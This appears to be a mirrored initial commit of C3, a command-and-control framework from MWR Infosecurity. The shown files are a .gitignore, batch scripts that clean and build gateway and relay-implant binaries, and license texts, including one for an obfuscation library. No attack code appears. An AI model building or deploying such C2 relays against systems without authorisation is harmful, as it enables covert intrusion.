mirror of https://github.com/infosecn1nja/C3.git
Release C3 publicly
commit
6d4eda67fa
|
@ -0,0 +1,18 @@
|
||||||
|
.vs/
|
||||||
|
Bin/
|
||||||
|
CreateBuild/
|
||||||
|
Tmp/
|
||||||
|
obj/
|
||||||
|
.vscode
|
||||||
|
*.ipch
|
||||||
|
*.exe
|
||||||
|
*.dll
|
||||||
|
*.pdb
|
||||||
|
*.db
|
||||||
|
*.db-journal
|
||||||
|
*.vcxproj.user
|
||||||
|
*c3-web-api-log*
|
||||||
|
PER_BUILD_DYNAMIC_SIGNATURE_SEED.hpp
|
||||||
|
__pycache__
|
||||||
|
Src/Common/C3_BUILD_VERSION_HASH_PART.hxx
|
||||||
|
Builds/
|
|
@ -0,0 +1 @@
|
||||||
|
FOR /d /r . %%d IN (Bin) DO @IF EXIST "%%d" rd /s /q "%%d"
|
|
@ -0,0 +1,16 @@
|
||||||
|
set DIR=%CD%
|
||||||
|
FOR /d /r . %%d IN (.vs) DO @IF EXIST "%%d" rd /s /q "%%d"
|
||||||
|
FOR /d /r . %%d IN (Tmp) DO @IF EXIST "%%d" rd /s /q "%%d"
|
||||||
|
del /s *.obj
|
||||||
|
del /s *.o
|
||||||
|
del /s *.pch
|
||||||
|
del /s *.ipch
|
||||||
|
del /s *.lastbuildstate
|
||||||
|
del /s *.tlog
|
||||||
|
del /s *.pdb
|
||||||
|
del /s *.ilk
|
||||||
|
del /s *.idb
|
||||||
|
del /s *.gch
|
||||||
|
del /s *.suo
|
||||||
|
del /s *.VC.db
|
||||||
|
for /f "usebackq delims=" %%d in (`"dir /ad/b/s | sort /R"`) do rd "%%d"
|
|
@ -0,0 +1,86 @@
|
||||||
|
@REM This script requires MSBuild in PATH.
|
||||||
|
|
||||||
|
@REM Adjust values below before running this script.
|
||||||
|
@SETLOCAL
|
||||||
|
@SET BUILD_MAJOR_NO=1
|
||||||
|
@SET BUILD_MINOR_NO=0
|
||||||
|
@SET BUILD_REVISION_NO=0
|
||||||
|
@SET BUILD_PREFIX=C3
|
||||||
|
@SET BUILD_HEADER_FILE=Src\Common\C3_BUILD_VERSION_HASH_PART.hxx
|
||||||
|
@SET BUILDS_PATH=Builds
|
||||||
|
|
||||||
|
@REM Script part starts here.
|
||||||
|
@ECHO OFF
|
||||||
|
|
||||||
|
ECHO Cleaning from temporary files...
|
||||||
|
@CALL CleanTempFiles.cmd >nul 2>nul
|
||||||
|
|
||||||
|
ECHO Ensuring '%BUILDS_PATH%' folder exists...
|
||||||
|
IF EXIST "%BUILDS_PATH%" (RMDIR /s /q "%BUILDS_PATH%")
|
||||||
|
MKDIR %BUILDS_PATH%
|
||||||
|
|
||||||
|
SET BUILD_FULL_SIGNATURE=%BUILD_PREFIX%-%BUILD_MAJOR_NO%.%BUILD_MINOR_NO%.%BUILD_REVISION_NO%
|
||||||
|
|
||||||
|
ECHO Creating build folder - '%BUILD_FULL_SIGNATURE%'...
|
||||||
|
IF EXIST %BUILDS_PATH%\\%BUILD_FULL_SIGNATURE% (RMDIR /s /q "%BUILDS_PATH%\\%BUILD_FULL_SIGNATURE%")
|
||||||
|
MKDIR %BUILDS_PATH%\\%BUILD_FULL_SIGNATURE% || GOTO :ERROR
|
||||||
|
|
||||||
|
ECHO Creating build versioning header...
|
||||||
|
SET BuildDefinition=#define C3_BUILD_VERSION
|
||||||
|
ECHO #include "StdAfx.h" > %BUILD_HEADER_FILE% || GOTO :ERROR
|
||||||
|
ECHO %BuildDefinition% "%BUILD_FULL_SIGNATURE%" >> %BUILD_HEADER_FILE% || GOTO :ERROR
|
||||||
|
|
||||||
|
|
||||||
|
if ""=="%~1" (
|
||||||
|
set BuildTool=MSBuild
|
||||||
|
) else (
|
||||||
|
set BuildTool=%1
|
||||||
|
)
|
||||||
|
|
||||||
|
ECHO.
|
||||||
|
ECHO Building x64 binaries...
|
||||||
|
%BuildTool% /nologo /verbosity:quiet /consoleloggerparameters:summary "Src" "/t:GatewayConsoleExe;NodeRelayConsoleExe;NodeRelayDll" "/p:Configuration=Release" "/p:Platform=x64" || GOTO :ERROR
|
||||||
|
|
||||||
|
ECHO.
|
||||||
|
ECHO Building x86 binaries...
|
||||||
|
%BuildTool% /nologo /verbosity:quiet /consoleloggerparameters:summary "Src" "/t:GatewayConsoleExe;NodeRelayConsoleExe;NodeRelayDll" "/p:Configuration=Release" "/p:Platform=x86" || GOTO :ERROR
|
||||||
|
|
||||||
|
ECHO.
|
||||||
|
ECHO Copying binaries...
|
||||||
|
IF NOT EXIST "%BUILDS_PATH%\\%BUILD_FULL_SIGNATURE%\\Bin" (MKDIR "%BUILDS_PATH%\\%BUILD_FULL_SIGNATURE%\\Bin") || GOTO :ERROR
|
||||||
|
COPY "Bin\\GatewayConsoleExe_r64.exe" "%BUILDS_PATH%\\%BUILD_FULL_SIGNATURE%\\Bin\\GatewayConsoleExe_r64.exe" || GOTO :ERROR
|
||||||
|
COPY "Bin\\NodeRelayConsoleExe_r64.exe" "%BUILDS_PATH%\\%BUILD_FULL_SIGNATURE%\\Bin\\NodeRelayConsoleExe_r64.exe" || GOTO :ERROR
|
||||||
|
COPY "Bin\\GatewayConsoleExe_r86.exe" "%BUILDS_PATH%\\%BUILD_FULL_SIGNATURE%\\Bin\\GatewayConsoleExe_r86.exe" || GOTO :ERROR
|
||||||
|
COPY "Bin\\NodeRelayConsoleExe_r86.exe" "%BUILDS_PATH%\\%BUILD_FULL_SIGNATURE%\\Bin\\NodeRelayConsoleExe_r86.exe" || GOTO :ERROR
|
||||||
|
COPY "Bin\\NodeRelayDll_r64.dll" "%BUILDS_PATH%\\%BUILD_FULL_SIGNATURE%\\Bin\\NodeRelayDll_r64.dll" || GOTO :ERROR
|
||||||
|
COPY "Bin\\NodeRelayDll_r86.dll" "%BUILDS_PATH%\\%BUILD_FULL_SIGNATURE%\\Bin\\NodeRelayDll_r86.dll" || GOTO :ERROR
|
||||||
|
|
||||||
|
ECHO.
|
||||||
|
ECHO Copying sample Gateway configuration...
|
||||||
|
COPY "Res\\GatewayConfiguration.json" "%BUILDS_PATH%\\%BUILD_FULL_SIGNATURE%\\Bin\\GatewayConfiguration.json" || GOTO :ERROR
|
||||||
|
|
||||||
|
ECHO.
|
||||||
|
ECHO Building WebController...
|
||||||
|
IF EXIST "%BUILDS_PATH%\\%BUILD_FULL_SIGNATURE%\\WebController" (RMDIR /s /q "%BUILDS_PATH%\\%BUILD_FULL_SIGNATURE%\\WebController") || GOTO :ERROR
|
||||||
|
dotnet publish -c Release "Src\\WebController\\Backend" || GOTO :ERROR
|
||||||
|
XCOPY /s /q "Bin\\WebController\\Release\\netcoreapp2.2\\publish" "%BUILDS_PATH%\\%BUILD_FULL_SIGNATURE%\\WebController\" || GOTO :ERROR
|
||||||
|
|
||||||
|
ECHO.
|
||||||
|
ECHO Copying scripts...
|
||||||
|
COPY "StartWebController.cmd" "%BUILDS_PATH%\\%BUILD_FULL_SIGNATURE%\\StartWebController.cmd" || GOTO :ERROR
|
||||||
|
COPY "RestartWebController.cmd" "%BUILDS_PATH%\\%BUILD_FULL_SIGNATURE%\\RestartWebController.cmd" || GOTO :ERROR
|
||||||
|
|
||||||
|
ECHO.
|
||||||
|
ECHO Done. Build %BUILD_FULL_SIGNATURE% successfully created.
|
||||||
|
|
||||||
|
:DONE
|
||||||
|
ECHO.
|
||||||
|
ECHO Done.
|
||||||
|
SET /p answer=Press any button to continue...
|
||||||
|
EXIT /b 0
|
||||||
|
|
||||||
|
:ERROR
|
||||||
|
ECHO.
|
||||||
|
ECHO Build failed.
|
||||||
|
SET /p answer=Press any button to continue...
|
||||||
|
EXIT /b %errorlevel%
|
|
@ -0,0 +1,29 @@
|
||||||
|
BSD 3-Clause License
|
||||||
|
|
||||||
|
Copyright (c) 2018-2019, MWR Infosecurity
|
||||||
|
All rights reserved.
|
||||||
|
|
||||||
|
Redistribution and use in source and binary forms, with or without
|
||||||
|
modification, are permitted provided that the following conditions are met:
|
||||||
|
|
||||||
|
1. Redistributions of source code must retain the above copyright notice, this
|
||||||
|
list of conditions and the following disclaimer.
|
||||||
|
|
||||||
|
2. Redistributions in binary form must reproduce the above copyright notice,
|
||||||
|
this list of conditions and the following disclaimer in the documentation
|
||||||
|
and/or other materials provided with the distribution.
|
||||||
|
|
||||||
|
3. Neither the name of the copyright holder nor the names of its
|
||||||
|
contributors may be used to endorse or promote products derived from
|
||||||
|
this software without specific prior written permission.
|
||||||
|
|
||||||
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||||
|
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||||
|
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||||
|
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||||
|
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||||
|
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||||
|
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||||
|
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||||
|
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
@ -0,0 +1,419 @@
|
||||||
|
C3 uses following open source projects:
|
||||||
|
|
||||||
|
---
|
||||||
|
ADVobfuscator
|
||||||
|
https://github.com/andrivet/ADVobfuscator
|
||||||
|
|
||||||
|
License:
|
||||||
|
Written by Sebastien Andrivet - Copyright © 2010-2017 Sebastien Andrivet.
|
||||||
|
|
||||||
|
Redistribution and use in source and binary forms, with or without modification, are permitted >provided that the following conditions are met:
|
||||||
|
1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||||
|
2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||||
|
3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
|
||||||
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
|
||||||
|
---
|
||||||
|
CppCodec
|
||||||
|
https://github.com/tplgy/cppcodec
|
||||||
|
|
||||||
|
License:
|
||||||
|
Copyright (c) 2015 Topology Inc.
|
||||||
|
Copyright (c) 2018 Jakob Petsovits
|
||||||
|
Copyright (c) various other contributors, see individual files
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
|
|
||||||
|
---
|
||||||
|
C++ REST SDK
|
||||||
|
https://github.com/microsoft/cpprestsdk
|
||||||
|
License:
|
||||||
|
C++ REST SDK
|
||||||
|
|
||||||
|
The MIT License (MIT)
|
||||||
|
|
||||||
|
Copyright (c) Microsoft Corporation
|
||||||
|
|
||||||
|
All rights reserved.
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||||
|
this software and associated documentation files (the "Software"), to deal in
|
||||||
|
the Software without restriction, including without limitation the rights to
|
||||||
|
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
|
||||||
|
the Software, and to permit persons to whom the Software is furnished to do so,
|
||||||
|
subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE
|
||||||
|
|
||||||
|
---
|
||||||
|
JSON for Modern C++
|
||||||
|
https://github.com/nlohmann/json
|
||||||
|
License:
|
||||||
|
MIT License
|
||||||
|
|
||||||
|
Copyright (c) 2013-2019 Niels Lohmann
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
|
|
||||||
|
---
|
||||||
|
libsodium
|
||||||
|
https://github.com/jedisct1/libsodium
|
||||||
|
License:
|
||||||
|
ISC License
|
||||||
|
|
||||||
|
Copyright (c) 2013-2019
|
||||||
|
Frank Denis <j at pureftpd dot org>
|
||||||
|
|
||||||
|
Permission to use, copy, modify, and/or distribute this software for any
|
||||||
|
purpose with or without fee is hereby granted, provided that the above
|
||||||
|
copyright notice and this permission notice appear in all copies.,
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
|
||||||
|
WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
|
||||||
|
MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
|
||||||
|
ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
|
||||||
|
WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
|
||||||
|
ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
|
||||||
|
OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
|
||||||
|
|
||||||
|
---
|
||||||
|
Json.NET
|
||||||
|
https://www.newtonsoft.com/json
|
||||||
|
License:
|
||||||
|
The MIT License (MIT)
|
||||||
|
|
||||||
|
Copyright (c) 2007 James Newton-King
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||||
|
this software and associated documentation files (the "Software"), to deal in
|
||||||
|
the Software without restriction, including without limitation the rights to
|
||||||
|
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
|
||||||
|
the Software, and to permit persons to whom the Software is furnished to do so,
|
||||||
|
subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
|
||||||
|
COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
|
||||||
|
IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
|
||||||
|
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||||
|
|
||||||
|
---
|
||||||
|
AsyncEx
|
||||||
|
https://github.com/StephenCleary/AsyncEx
|
||||||
|
License:
|
||||||
|
The MIT License (MIT)
|
||||||
|
|
||||||
|
Copyright (c) 2014 StephenCleary
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
|
|
||||||
|
---
|
||||||
|
Serilog
|
||||||
|
https://serilog.net
|
||||||
|
License:
|
||||||
|
Apache License
|
||||||
|
Version 2.0, January 2004
|
||||||
|
http://www.apache.org/licenses/
|
||||||
|
|
||||||
|
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||||
|
|
||||||
|
1. Definitions.
|
||||||
|
|
||||||
|
"License" shall mean the terms and conditions for use, reproduction, and
|
||||||
|
distribution as defined by Sections 1 through 9 of this document.
|
||||||
|
|
||||||
|
"Licensor" shall mean the copyright owner or entity authorized by the copyright
|
||||||
|
owner that is granting the License.
|
||||||
|
|
||||||
|
"Legal Entity" shall mean the union of the acting entity and all other entities
|
||||||
|
that control, are controlled by, or are under common control with that entity.
|
||||||
|
For the purposes of this definition, "control" means (i) the power, direct or
|
||||||
|
indirect, to cause the direction or management of such entity, whether by
|
||||||
|
contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||||
|
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||||
|
|
||||||
|
"You" (or "Your") shall mean an individual or Legal Entity exercising
|
||||||
|
permissions granted by this License.
|
||||||
|
|
||||||
|
"Source" form shall mean the preferred form for making modifications, including
|
||||||
|
but not limited to software source code, documentation source, and configuration
|
||||||
|
files.
|
||||||
|
|
||||||
|
"Object" form shall mean any form resulting from mechanical transformation or
|
||||||
|
translation of a Source form, including but not limited to compiled object code,
|
||||||
|
generated documentation, and conversions to other media types.
|
||||||
|
|
||||||
|
"Work" shall mean the work of authorship, whether in Source or Object form, made
|
||||||
|
available under the License, as indicated by a copyright notice that is included
|
||||||
|
in or attached to the work (an example is provided in the Appendix below).
|
||||||
|
|
||||||
|
"Derivative Works" shall mean any work, whether in Source or Object form, that
|
||||||
|
is based on (or derived from) the Work and for which the editorial revisions,
|
||||||
|
annotations, elaborations, or other modifications represent, as a whole, an
|
||||||
|
original work of authorship. For the purposes of this License, Derivative Works
|
||||||
|
shall not include works that remain separable from, or merely link (or bind by
|
||||||
|
name) to the interfaces of, the Work and Derivative Works thereof.
|
||||||
|
|
||||||
|
"Contribution" shall mean any work of authorship, including the original version
|
||||||
|
of the Work and any modifications or additions to that Work or Derivative Works
|
||||||
|
thereof, that is intentionally submitted to Licensor for inclusion in the Work
|
||||||
|
by the copyright owner or by an individual or Legal Entity authorized to submit
|
||||||
|
on behalf of the copyright owner. For the purposes of this definition,
|
||||||
|
"submitted" means any form of electronic, verbal, or written communication sent
|
||||||
|
to the Licensor or its representatives, including but not limited to
|
||||||
|
communication on electronic mailing lists, source code control systems, and
|
||||||
|
issue tracking systems that are managed by, or on behalf of, the Licensor for
|
||||||
|
the purpose of discussing and improving the Work, but excluding communication
|
||||||
|
that is conspicuously marked or otherwise designated in writing by the copyright
|
||||||
|
owner as "Not a Contribution."
|
||||||
|
|
||||||
|
"Contributor" shall mean Licensor and any individual or Legal Entity on behalf
|
||||||
|
of whom a Contribution has been received by Licensor and subsequently
|
||||||
|
incorporated within the Work.
|
||||||
|
|
||||||
|
2. Grant of Copyright License.
|
||||||
|
|
||||||
|
Subject to the terms and conditions of this License, each Contributor hereby
|
||||||
|
grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free,
|
||||||
|
irrevocable copyright license to reproduce, prepare Derivative Works of,
|
||||||
|
publicly display, publicly perform, sublicense, and distribute the Work and such
|
||||||
|
Derivative Works in Source or Object form.
|
||||||
|
|
||||||
|
3. Grant of Patent License.
|
||||||
|
|
||||||
|
Subject to the terms and conditions of this License, each Contributor hereby
|
||||||
|
grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free,
|
||||||
|
irrevocable (except as stated in this section) patent license to make, have
|
||||||
|
made, use, offer to sell, sell, import, and otherwise transfer the Work, where
|
||||||
|
such license applies only to those patent claims licensable by such Contributor
|
||||||
|
that are necessarily infringed by their Contribution(s) alone or by combination
|
||||||
|
of their Contribution(s) with the Work to which such Contribution(s) was
|
||||||
|
submitted. If You institute patent litigation against any entity (including a
|
||||||
|
cross-claim or counterclaim in a lawsuit) alleging that the Work or a
|
||||||
|
Contribution incorporated within the Work constitutes direct or contributory
|
||||||
|
patent infringement, then any patent licenses granted to You under this License
|
||||||
|
for that Work shall terminate as of the date such litigation is filed.
|
||||||
|
|
||||||
|
4. Redistribution.
|
||||||
|
|
||||||
|
You may reproduce and distribute copies of the Work or Derivative Works thereof
|
||||||
|
in any medium, with or without modifications, and in Source or Object form,
|
||||||
|
provided that You meet the following conditions:
|
||||||
|
|
||||||
|
You must give any other recipients of the Work or Derivative Works a copy of
|
||||||
|
this License; and
|
||||||
|
You must cause any modified files to carry prominent notices stating that You
|
||||||
|
changed the files; and
|
||||||
|
You must retain, in the Source form of any Derivative Works that You distribute,
|
||||||
|
all copyright, patent, trademark, and attribution notices from the Source form
|
||||||
|
of the Work, excluding those notices that do not pertain to any part of the
|
||||||
|
Derivative Works; and
|
||||||
|
If the Work includes a "NOTICE" text file as part of its distribution, then any
|
||||||
|
Derivative Works that You distribute must include a readable copy of the
|
||||||
|
attribution notices contained within such NOTICE file, excluding those notices
|
||||||
|
that do not pertain to any part of the Derivative Works, in at least one of the
|
||||||
|
following places: within a NOTICE text file distributed as part of the
|
||||||
|
Derivative Works; within the Source form or documentation, if provided along
|
||||||
|
with the Derivative Works; or, within a display generated by the Derivative
|
||||||
|
Works, if and wherever such third-party notices normally appear. The contents of
|
||||||
|
the NOTICE file are for informational purposes only and do not modify the
|
||||||
|
License. You may add Your own attribution notices within Derivative Works that
|
||||||
|
You distribute, alongside or as an addendum to the NOTICE text from the Work,
|
||||||
|
provided that such additional attribution notices cannot be construed as
|
||||||
|
modifying the License.
|
||||||
|
You may add Your own copyright statement to Your modifications and may provide
|
||||||
|
additional or different license terms and conditions for use, reproduction, or
|
||||||
|
distribution of Your modifications, or for any such Derivative Works as a whole,
|
||||||
|
provided Your use, reproduction, and distribution of the Work otherwise complies
|
||||||
|
with the conditions stated in this License.
|
||||||
|
|
||||||
|
5. Submission of Contributions.
|
||||||
|
|
||||||
|
Unless You explicitly state otherwise, any Contribution intentionally submitted
|
||||||
|
for inclusion in the Work by You to the Licensor shall be under the terms and
|
||||||
|
conditions of this License, without any additional terms or conditions.
|
||||||
|
Notwithstanding the above, nothing herein shall supersede or modify the terms of
|
||||||
|
any separate license agreement you may have executed with Licensor regarding
|
||||||
|
such Contributions.
|
||||||
|
|
||||||
|
6. Trademarks.
|
||||||
|
|
||||||
|
This License does not grant permission to use the trade names, trademarks,
|
||||||
|
service marks, or product names of the Licensor, except as required for
|
||||||
|
reasonable and customary use in describing the origin of the Work and
|
||||||
|
reproducing the content of the NOTICE file.
|
||||||
|
|
||||||
|
7. Disclaimer of Warranty.
|
||||||
|
|
||||||
|
Unless required by applicable law or agreed to in writing, Licensor provides the
|
||||||
|
Work (and each Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||||
|
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied,
|
||||||
|
including, without limitation, any warranties or conditions of TITLE,
|
||||||
|
NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are
|
||||||
|
solely responsible for determining the appropriateness of using or
|
||||||
|
redistributing the Work and assume any risks associated with Your exercise of
|
||||||
|
permissions under this License.
|
||||||
|
|
||||||
|
8. Limitation of Liability.
|
||||||
|
|
||||||
|
In no event and under no legal theory, whether in tort (including negligence),
|
||||||
|
contract, or otherwise, unless required by applicable law (such as deliberate
|
||||||
|
and grossly negligent acts) or agreed to in writing, shall any Contributor be
|
||||||
|
liable to You for damages, including any direct, indirect, special, incidental,
|
||||||
|
or consequential damages of any character arising as a result of this License or
|
||||||
|
out of the use or inability to use the Work (including but not limited to
|
||||||
|
damages for loss of goodwill, work stoppage, computer failure or malfunction, or
|
||||||
|
any and all other commercial damages or losses), even if such Contributor has
|
||||||
|
been advised of the possibility of such damages.
|
||||||
|
|
||||||
|
9. Accepting Warranty or Additional Liability.
|
||||||
|
|
||||||
|
While redistributing the Work or Derivative Works thereof, You may choose to
|
||||||
|
offer, and charge a fee for, acceptance of support, warranty, indemnity, or
|
||||||
|
other liability obligations and/or rights consistent with this License. However,
|
||||||
|
in accepting such obligations, You may act only on Your own behalf and on Your
|
||||||
|
sole responsibility, not on behalf of any other Contributor, and only if You
|
||||||
|
agree to indemnify, defend, and hold each Contributor harmless for any liability
|
||||||
|
incurred by, or claims asserted against, such Contributor by reason of your
|
||||||
|
accepting any such warranty or additional liability.
|
||||||
|
|
||||||
|
END OF TERMS AND CONDITIONS
|
||||||
|
|
||||||
|
APPENDIX: How to apply the Apache License to your work
|
||||||
|
|
||||||
|
To apply the Apache License to your work, attach the following boilerplate
|
||||||
|
notice, with the fields enclosed by brackets "[]" replaced with your own
|
||||||
|
identifying information. (Don't include the brackets!) The text should be
|
||||||
|
enclosed in the appropriate comment syntax for the file format. We also
|
||||||
|
recommend that a file or class name and description of purpose be included on
|
||||||
|
the same "printed page" as the copyright notice for easier identification within
|
||||||
|
third-party archives.
|
||||||
|
|
||||||
|
Copyright [yyyy] [name of copyright owner]
|
||||||
|
|
||||||
|
Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
you may not use this file except in compliance with the License.
|
||||||
|
You may obtain a copy of the License at
|
||||||
|
|
||||||
|
